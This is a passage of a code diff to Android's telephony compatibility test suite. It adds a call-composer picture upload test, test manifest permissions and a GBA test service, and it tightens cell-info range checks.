--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
                                 "android.telephony.cts.smsretriever",
                                 "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
         PendingIntent pIntent = PendingIntent.getBroadcast(
-                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         String token = null;
         try {
             token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 8bd31d9..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -20,10 +20,13 @@
         "src/android/telephony/ims/cts/TestMmTelFeature.java",
         "src/android/telephony/ims/cts/TestImsSmsImpl.java",
         "src/android/telephony/ims/cts/TestImsConfig.java",
+        "src/android/telephony/ims/cts/TestImsRegistration.java",
+        "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
         "src/android/telephony/ims/cts/TestSipTransport.java",
         "src/android/telephony/ims/cts/TestSipDelegate.java",
         "src/android/telephony/ims/cts/TestSipDelegateConnection.java",
         "src/android/telephony/ims/cts/ImsUtils.java",
+	"src/android/telephony/ims/cts/TestAcsClient.java",
     ],
     path: "src/",
 }
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 1067197..4cf2658 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
     <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.SEND_SMS"/>
@@ -36,6 +37,7 @@
     <uses-permission android:name="android.permission.USE_SIP"/>
     <uses-permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"/>
     <uses-permission android:name="android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS" />
+    <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
          android:protectionLevel="signature"/>
@@ -161,6 +163,16 @@
             </intent-filter>
         </service>
 
+        <service
+            android:name="android.telephony.gba.cts.TestGbaService"
+            android:directBootAware="true"
+            android:permission="android.permission.BIND_GBA_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.gba.GbaService"/>
+            </intent-filter>
+        </service>
+
         <activity android:name="android.telephony.cts.StubDialerActvity"
              android:exported="true">
             <intent-filter>
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
deleted file mode 100644
index 717ea54..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-
-import android.os.Parcel;
-import android.telephony.AccessNetworkConstants;
-import android.telephony.data.ApnSetting;
-import android.telephony.data.ApnThrottleStatus;
-
-import org.junit.Test;
-
-public class ApnThrottleStatusTest {
-
-    private static final int SLOT_INDEX = 10;
-    private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
-    private static final int APN_TYPE = ApnSetting.TYPE_IMS;
-    private static final int THROTTLE_TYPE = ApnThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
-    private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
-    private static final int RETRY_TYPE = ApnThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
-
-    @Test
-    public void testBuilderAndGetters() {
-
-        ApnThrottleStatus status = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
-                .setRetryType(RETRY_TYPE)
-                .build();
-
-        assertEquals(SLOT_INDEX, status.getSlotIndex());
-        assertEquals(TRANSPORT_TYPE, status.getTransportType());
-        assertEquals(APN_TYPE, status.getApnType());
-        assertEquals(THROTTLE_TYPE, status.getThrottleType());
-        assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
-        assertEquals(RETRY_TYPE, status.getRetryType());
-    }
-
-    @Test
-    public void testEquals() {
-
-        ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
-                .setRetryType(RETRY_TYPE)
-                .build();
-        ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
-                .setRetryType(RETRY_TYPE)
-                .build();
-
-        assertEquals(status1, status2);
-    }
-
-    @Test
-    public void testNotEquals() {
-        ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
-                .setRetryType(RETRY_TYPE)
-                .build();
-        ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setNoThrottle()
-                .setRetryType(RETRY_TYPE)
-                .build();
-        assertNotEquals(status1, status2);
-    }
-
-    @Test
-    public void testParcel() {
-        ApnThrottleStatus status = new ApnThrottleStatus.Builder()
-                .setSlotIndex(SLOT_INDEX)
-                .setTransportType(TRANSPORT_TYPE)
-                .setApnType(APN_TYPE)
-                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
-                .setRetryType(RETRY_TYPE)
-                .build();
-
-        Parcel stateParcel = Parcel.obtain();
-        status.writeToParcel(stateParcel, 0);
-        stateParcel.setDataPosition(0);
-
-        ApnThrottleStatus postParcel = ApnThrottleStatus.CREATOR.createFromParcel(stateParcel);
-        assertEquals(status, postParcel);
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..53d91ff
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.OutcomeReceiver;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+    private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+    private static final String TEST_FILE_CONTENT_TYPE = "image/png";
+    private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+    private String mPreviousDefaultDialer;
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        overrideDefaultDialer();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        restoreDefaultDialer();
+        Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+    }
+
+    @Test
+    public void testUploadPictureWithFile() throws Exception {
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        byte[] imageData = getSamplePictureAsBytes();
+        Files.write(testFile, imageData);
+
+        pictureUploadHelper(testFile, null, -1);
+    }
+
+    @Test
+    public void testUploadPictureAsStream() throws Exception {
+        byte[] imageData = getSamplePictureAsBytes();
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+        pictureUploadHelper(null, inputStream, -1);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsFile() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        Files.write(testFile, paddedData);
+
+        pictureUploadHelper(testFile, null,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsStream() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+        pictureUploadHelper(null, inputStream,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    private void pictureUploadHelper(Path inputFile, InputStream inputStream,
+            int expectedErrorCode) throws Exception {
+        TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+        CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+                new CompletableFuture<>();
+        OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+                new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+                    @Override
+                    public void onResult(@NonNull ParcelUuid result) {
+                        resultFuture.complete(Pair.create(result, null));
+                    }
+
+                    @Override
+                    public void onError(TelephonyManager.CallComposerException error) {
+                        resultFuture.complete(Pair.create(null, error));
+                    }
+        };
+
+        if (inputFile != null) {
+            tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        } else {
+            tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        }
+
+        Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+        try {
+            result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            fail("Timed out waiting for response from TelephonyManager");
+            return;
+        }
+
+        if (result.second != null && expectedErrorCode < 0) {
+            String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            fail("Upload failed with " + error
+                    + "\nIOException: " + result.second.getIOException());
+        } else if (expectedErrorCode >= 0) {
+            String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            if (result.second == null) {
+                fail("Did not get the expected error: " + expectedError);
+            } else if (result.first != null) {
+                fail("Got a UUID from Telephony when we expected " + expectedError);
+            } else if (result.second.getErrorCode() != expectedErrorCode) {
+                String observedError =
+                        TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                                TelephonyManager.CallComposerException.class, "ERROR_");
+                fail("Expected " + expectedError + ", got " + observedError);
+            }
+            // If we expected an error, the test ends here
+            return;
+        }
+
+        assertNotNull(result.first);
+        // TODO: test the actual upload and/or storage to the call log.
+
+        // Make sure that any file descriptors opened to the test file have been closed.
+        if (inputFile != null) {
+            try {
+                Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+                        StandardOpenOption.APPEND).close();
+            } catch (IOException e) {
+                fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+            }
+        }
+    }
+
+    private byte[] getSamplePictureAsBytes() throws Exception {
+        InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+        return readBytes(resourceInput);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void overrideDefaultDialer() throws Exception {
+        mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+                InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mContext.getPackageName());
+    }
+
+    private void restoreDefaultDialer() throws Exception {
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mPreviousDefaultDialer);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 05f4023..24a6995 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -38,7 +38,10 @@
 
 
 import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Looper;
@@ -57,6 +60,8 @@
 import org.junit.Test;
 
 import java.io.IOException;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -318,6 +323,35 @@
     }
 
     @Test
+    public void testExtraRebroadcastOnUnlock() throws Throwable {
+        BlockingQueue<Boolean> queue = new ArrayBlockingQueue<Boolean>(5);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                    queue.add(new Boolean(true));
+                    // verify that REBROADCAST_ON_UNLOCK is populated
+                    assertFalse(
+                            intent.getBooleanExtra(CarrierConfigManager.EXTRA_REBROADCAST_ON_UNLOCK,
+                                    true));
+                }
+            }
+        };
+
+        final IntentFilter filter =
+                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        getContext().registerReceiver(receiver, filter);
+
+        // verify that carrier config is received
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+        mConfigManager.notifyConfigChangedForSubId(subId);
+
+        Boolean broadcastReceived = queue.poll(10L, TimeUnit.SECONDS);
+        assertTrue(broadcastReceived);
+    }
+
+    @Test
     public void testGetConfigByComponentForSubId() {
         PersistableBundle config =
                 mConfigManager.getConfigByComponentForSubId(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 86b4dde..0cf33b1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -68,8 +68,18 @@
 /**
  * Test TelephonyManager.getAllCellInfo()
  * <p>
- * TODO(chesnutt): test onCellInfoChanged() once the implementation
- * of async callbacks is complete (see http://b/13788638)
+ *
+ * Test that the Cellular Location APIs return proper and complete information.
+ * <ul>
+ *     <li>At least one cell must be reported as the registered cell.
+ *     <li>Registered cells must report the technology-specific fields consisting of a globally
+ *         unique cell identifier.
+ *     <li>All cells must report a technology-specific physical cell identifier, such as a tuple
+ *         of the frequency and a phyisical cell ID that allows them to be uniquely identified
+ *         given a known global cell.
+ *     <li>All cells must report at least one valid power measurement.
+ * </ul>
+ *
  */
 public class CellInfoTest {
     private static final String TAG = "android.telephony.cts.CellInfoTest";
@@ -87,7 +97,7 @@
     private static final int MAX_RSSNR = 30;
     private static final int MIN_RSSNR = -20;
     // Maximum and minimum possible CQI values.
-    private static final int MAX_CQI = 30;
+    private static final int MAX_CQI = 15;
     private static final int MIN_CQI = 0;
 
     /**
@@ -127,6 +137,9 @@
     // 3GPP TS 36.101
     private static final int BAND_MIN_LTE = 1;
     private static final int BAND_MAX_LTE = 88;
+    //3GPP TS 136.213 section 7.2.3
+    private static final int CQI_TABLE_INDEX_MIN_LTE = 1;
+    private static final int CQI_TABLE_INDEX_MAX_LTE = 6;
 
     // The followings are parameters for testing CellIdentityWcdma
     // Location Area Code ranges from 0 to 65535.
@@ -150,6 +163,9 @@
     private static final int BAND_FR1_MAX_NR = 95;
     private static final int BAND_FR2_MIN_NR = 257;
     private static final int BAND_FR2_MAX_NR = 261;
+    //3GPP TS 138.214 section 5.2.2.1
+    private static final int CQI_TABLE_INDEX_MIN_NR = 1;
+    private static final int CQI_TABLE_INDEX_MAX_NR = 3;
 
     // 3gpp 36.101 Sec 5.7.2
     private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
@@ -597,6 +613,8 @@
         int csiRsrp = nr.getCsiRsrp();
         int csiRsrq = nr.getCsiRsrq();
         int csiSinr = nr.getSsSinr();
+        int csiCqiTableIndex = nr.getCsiCqiTableIndex();
+        List<Integer> csiCqiReport = nr.getCsiCqiReport();
         int ssRsrp = nr.getSsRsrp();
         int ssRsrq = nr.getSsRsrq();
         int ssSinr = nr.getSsSinr();
@@ -608,6 +626,14 @@
                 + csiRsrq, -20 <= csiRsrq && csiRsrq <= -3 || csiRsrq == CellInfo.UNAVAILABLE);
         assertTrue("getCsiSinr() out of range [-23, 40] | Integer.MAX_INTEGER, csiSinr = "
                 + csiSinr, -23 <= csiSinr && csiSinr <= 40 || csiSinr == CellInfo.UNAVAILABLE);
+        assertTrue("getCsiCqiTableIndex() out of range | CellInfo.UNAVAILABLE, csiCqiTableIndex="
+                + csiCqiTableIndex, csiCqiTableIndex == CellInfo.UNAVAILABLE
+                        || (csiCqiTableIndex >= CQI_TABLE_INDEX_MIN_NR
+                                && csiCqiTableIndex <= CQI_TABLE_INDEX_MAX_NR));
+        assertTrue("cqi in getCsiCqiReport() out of range | CellInfo.UNAVAILABLE, csiCqiReport="
+                + csiCqiReport, csiCqiReport.stream()
+                        .allMatch(cqi -> cqi.intValue() == CellInfo.UNAVAILABLE
+                                || (cqi.intValue() >= MIN_CQI && cqi.intValue() <= MAX_CQI)));
         assertTrue("getSsRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, ssRsrp = "
                         + ssRsrp, -140 <= ssRsrp && ssRsrp <= -44
                 || ssRsrp == CellInfo.UNAVAILABLE);
@@ -639,8 +665,7 @@
         // Only physical cell id is available for LTE neighbor.
         int pci = lte.getPci();
         // Physical cell id should be within [0, 503].
-        assertTrue("getPci() out of range [0, 503], pci=" + pci,
-                (pci == CellInfo.UNAVAILABLE) || (pci >= 0 && pci <= PCI));
+        assertTrue("getPci() out of range [0, 503], pci=" + pci, (pci >= 0 && pci <= PCI));
 
         // Tracking area code ranges from 0 to 65535.
         int tac = lte.getTac();
@@ -672,7 +697,7 @@
         }
         assertTrue(
                 "getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
-                earfcn == CellInfo.UNAVAILABLE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
+                (earfcn >= minEarfcn && earfcn <= maxEarfcn));
 
         if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
             int[] bands = lte.getBands();
@@ -682,11 +707,7 @@
             }
         }
 
-        String mobileNetworkOperator = lte.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(lte.getMobileNetworkOperator());
 
         for (String plmnId : lte.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
@@ -704,6 +725,8 @@
                     lte.getMccString() != null || lte.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     lte.getMncString() != null || lte.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(lte.getMobileNetworkOperator()));
         }
     }
 
@@ -746,6 +769,11 @@
         assertTrue("getRssnr() out of range | CellInfo.UNAVAILABLE, rssnr=" + rssnr,
                 rssnr == CellInfo.UNAVAILABLE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
 
+        int cqiTableIndex = cellSignalStrengthLte.getCqiTableIndex();
+        assertTrue("getCqiTableIndex() out of range | CellInfo.UNAVAILABLE, cqi=" + cqiTableIndex,
+                cqiTableIndex == CellInfo.UNAVAILABLE || (cqiTableIndex >= CQI_TABLE_INDEX_MIN_LTE
+                        && cqiTableIndex <= CQI_TABLE_INDEX_MAX_LTE));
+
         int cqi = cellSignalStrengthLte.getCqi();
         assertTrue("getCqi() out of range | CellInfo.UNAVAILABLE, cqi=" + cqi,
                 cqi == CellInfo.UNAVAILABLE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
@@ -815,14 +843,9 @@
         // Verify wcdma primary scrambling code information.
         // Primary scrambling code should be within [0, 511].
         int psc = wcdma.getPsc();
-        assertTrue("getPsc() out of range [0, 511], psc=" + psc,
-                (psc >= 0 && psc <= PSC) || psc == CellInfo.UNAVAILABLE);
+        assertTrue("getPsc() out of range [0, 511], psc=" + psc, psc >= 0 && psc <= PSC);
 
-        String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(wcdma.getMobileNetworkOperator());
 
         int uarfcn = wcdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -845,6 +868,8 @@
                     wcdma.getMccString() != null || wcdma.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     wcdma.getMncString() != null || wcdma.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(wcdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityWcdmaLocationSanitation(wcdma);
@@ -943,19 +968,13 @@
         assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
                 arfcn == CellInfo.UNAVAILABLE || (arfcn >= 0 && arfcn <= ARFCN));
 
-        String mobileNetworkOperator = gsm.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
         int bsic = gsm.getBsic();
-        // TODO(b/32774471) - Bsic should always be valid
-        //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
+        assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <= 63);
 
         for (String plmnId : gsm.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
         }
+        verifyPlmnId(gsm.getMobileNetworkOperator());
 
         // If the cell is reported as registered, then all the logical cell info must be reported
         if (isRegistered) {
@@ -965,6 +984,8 @@
                     gsm.getMccString() != null || gsm.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     gsm.getMncString() != null || gsm.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(gsm.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityGsmLocationSanitation(gsm);
@@ -1064,11 +1085,7 @@
         int cpid = tdscdma.getCpid();
         assertTrue("getCpid() out of range [0, 127], cpid=" + cpid, (cpid >= 0 && cpid <= CPID));
 
-        String mobileNetworkOperator = tdscdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(tdscdma.getMobileNetworkOperator());
 
         int uarfcn = tdscdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -1089,6 +1106,8 @@
             assertTrue("CID is required for registered cells", cid != CellInfo.UNAVAILABLE);
             assertTrue("MCC is required for registered cells", tdscdma.getMccString() != null);
             assertTrue("MNC is required for registered cells", tdscdma.getMncString() != null);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(tdscdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityTdscdmaLocationSanitation(tdscdma);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
index ed17284..6c61cc3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -17,10 +17,16 @@
 package android.telephony.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
 
 import android.telephony.CellSignalStrength;
 import android.telephony.SignalStrength;
 
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -30,6 +36,12 @@
 public class CellSignalStrengthTest {
     private static final String TAG = "CellSignalStrengthTest";
 
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
     /** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
      * {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 4eec7c4..a9a75b3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -18,6 +18,8 @@
 
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK;
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_LEGACY;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -26,6 +28,7 @@
 import android.os.Parcel;
 import android.telephony.data.ApnSetting;
 import android.telephony.data.DataCallResponse;
+import android.telephony.data.SliceInfo;
 
 import org.junit.Test;
 
@@ -52,6 +55,18 @@
     private static final int MTU_V6 = 1400;
     private static final int HANDOVER_FAILURE_MODE = HANDOVER_FAILURE_MODE_DO_FALLBACK;
     private static final int PDU_SESSION_ID = 5;
+    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
